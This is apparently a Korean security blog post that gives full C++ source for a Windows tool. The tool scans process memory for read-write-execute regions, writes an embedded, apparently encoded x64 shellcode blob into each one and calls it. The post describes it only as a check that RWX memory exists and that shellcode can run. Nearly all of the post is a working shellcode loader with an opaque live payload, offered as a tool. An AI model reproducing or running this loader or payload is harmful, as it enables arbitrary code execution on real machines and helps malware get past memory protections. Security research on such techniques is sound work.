Security/system hacking

[tool] RWX Shellcode Execution

KimKwangWoon 2025. 2. 20. 23:09

main.cpp

// main.cpp

#include <iostream>
#include <windows.h>
#include "RWXChecker.h"

int main() {
    // RWX 메모리 영역을 찾고 exploit 실행
    find_rwx_memory();

    std::cout << "Finished exploit test." << std::endl;
    return 0;
}

 

RWXChecker.cpp

// RWXChecker.cpp

#include "RWXChecker.h"
#include "exploit.h"
#include <iostream>

void find_rwx_memory() {
    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);
    LPVOID address = sysInfo.lpMinimumApplicationAddress;
    MEMORY_BASIC_INFORMATION mbi;

    int rwxCount = 0;
    std::cout << "[*] Starting RWX memory scan..." << std::endl;

    while (address < sysInfo.lpMaximumApplicationAddress) {
        if (VirtualQuery(address, &mbi, sizeof(mbi))) {
            if (mbi.State == MEM_COMMIT &&
                (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE_WRITECOPY)) {

                rwxCount++;
                std::cout << "[+] RWX Memory Found: Base Address = " << address
                    << " | Region Size = " << mbi.RegionSize << " bytes" << std::endl;

                exploit(address, mbi.RegionSize);
            }
            address = (LPVOID)((DWORD_PTR)address + mbi.RegionSize);
        }
        else {
            std::cerr << "[-] VirtualQuery failed at address: " << address
                << " | Error Code: " << GetLastError() << std::endl;
            break;
        }
    }

    std::cout << "[*] RWX Memory Scan Complete. Total RWX Regions Found: " << rwxCount << std::endl;
}

RWXChecker.h

// RWXChecker.h

#pragma once
#pragma once
#include <windows.h>

void find_rwx_memory();

 

exploit.cpp

// exploit.cpp

#include "exploit.h"
#include <iostream>
#include <cstring>

void exploit(LPVOID address, SIZE_T size) {
    const char* shellCodeStr = "\x48\x31\xc9\x48\x81\xe9\xda\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xd3\x99\xaa\x6a\xd1\xb4\x72\x39\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x2f\xd1\x2b\x8e\x21\x4b\x8d\xc6\x3b\x55\xaa\x6a\xd1\xf5\x23\x78\x83\xcb\xe2\x5b\x03\xd1\x3a\xb2\x81\xf9\xfb\x3c\x99\x3f\x20\x21\x9b\x12\xf8\x4a\x99\xbb\xc5\x73\x99\xd1\x21\x18\x81\xf9\x43\xf0\x9b\xa8\x6a\xc6\xed\xd5\x0e\x3b\xff\xb9\xeb\xab\x18\xb9\x33\x38\x12\x7b\x47\x38\x90\xe5\x3a\xb2\x81\xb9\x21\x28\xed\xfc\x73\xe9\xb5\x18\xd2\x72\xda\xb6\x7d\xbc\xa1\x99\xaa\x6a\x5a\x34\xfa\x39\xd3\x99\xe2\xef\x11\xc0\x15\x71\xd2\x49\x21\x22\xc9\xe4\x36\xb2\x93\xb9\xe3\x6b\x01\x57\x24\x71\x2c\x50\xeb\xe1\xe5\x3c\x3a\x38\x05\xd4\x9b\xa3\x99\x85\xb2\x78\x12\x50\xa7\xc6\x90\xb5\xb3\x01\x33\xec\x5b\x26\xd2\xf8\x56\x31\x96\xa0\x7b\x1f\x09\xec\x36\xb2\x93\xbd\xe3\x6b\x01\xd2\x33\xb2\xdf\xd1\xee\xe1\x91\xa8\x3b\x38\x03\xd8\x21\x6e\x59\xf5\x2a\x78\x8b\xc7\xf3\x22\xd0\x64\x28\x78\x8b\xd8\xf3\x2b\x8b\xfc\xf1\xd5\xf3\xd8\xf8\x95\x31\xec\x33\x60\x89\xd1\x21\x78\x38\xff\x8d\xc6\x2c\xc4\x42\x61\xd1\xb4\x72\x4c\xa0\xfc\xd8\x59\xe3\x9a\x16\x55\xbf\x99\xf3\x2b\x6b\xf8\x05\x1f\xd4\x66\x7f\x23\x16\x75\x42\x39\xd3\x99\x42\x6d\xd1\xb4\x72\x51\xb2\xfa\xc1\x0f\xb5\xb4\x28\xd1\xd4\x99\xaa\x6a\xb9\xd5\x11\x52\xb6\xfd\xaa\x2b\x89\xfc\x43\xf0\x92\x23\xef\xe9\x87\xb3\x8d\xec\x9b\xa8\x63\x2b\x6b\x44\xc7\x9b\x85\x66\x7f\x6a\xd1\xb4\x72\x39";
    SIZE_T shellCodeSize = strlen(shellCodeStr);

    if (size >= shellCodeSize) {
        std::cout << "[*] Injecting shellcode into memory..." << std::endl;

        // 쉘코드 삽입
        memcpy(address, shellCodeStr, shellCodeSize);
        std::cout << "[+] Shellcode injected at address: " << address << std::endl;

        // 삽입된 쉘코드 확인 (첫 16바이트 & 마지막 16바이트 출력)
        // 디버깅용 (쉘코드 삽입의 안정성을 위해)
        std::cout << "[*] Verifying injected shellcode:" << std::endl;

        std::cout << "[+] First 16 bytes: ";
        for (SIZE_T i = 0; i < 16 && i < shellCodeSize; ++i) {
            printf("%02X ", ((unsigned char*)address)[i]);
        }
        std::cout << std::endl;

        std::cout << "[+] Last 16 bytes: ";
        for (SIZE_T i = (shellCodeSize > 16 ? shellCodeSize - 16 : 0); i < shellCodeSize; ++i) {
            printf("%02X ", ((unsigned char*)address)[i]);
        }
        std::cout << std::endl;

        // 쉘코드 실행
        try {
            std::cout << "[*] Executing shellcode..." << std::endl;
            void (*shellCodeFunc)() = (void(*)())address;
            shellCodeFunc();
            std::cout << "[+] Shellcode executed successfully!" << std::endl;
        }
        catch (...) {
            std::cerr << "[-] Exception occurred during shellcode execution!" << std::endl;
        }
    }
    else {
        std::cerr << "[-] Insufficient memory size for shellcode injection. Required: "
            << shellCodeSize << " bytes, Available: " << size << " bytes." << std::endl;
    }
}

exploit.h

// exploit.h

#pragma once
#pragma once
#include <windows.h>

void exploit(LPVOID address, SIZE_T size);

 

메모리에 RWX 영역이 있고, Shell code 실행이 가능한지 간단히 확인하는 코드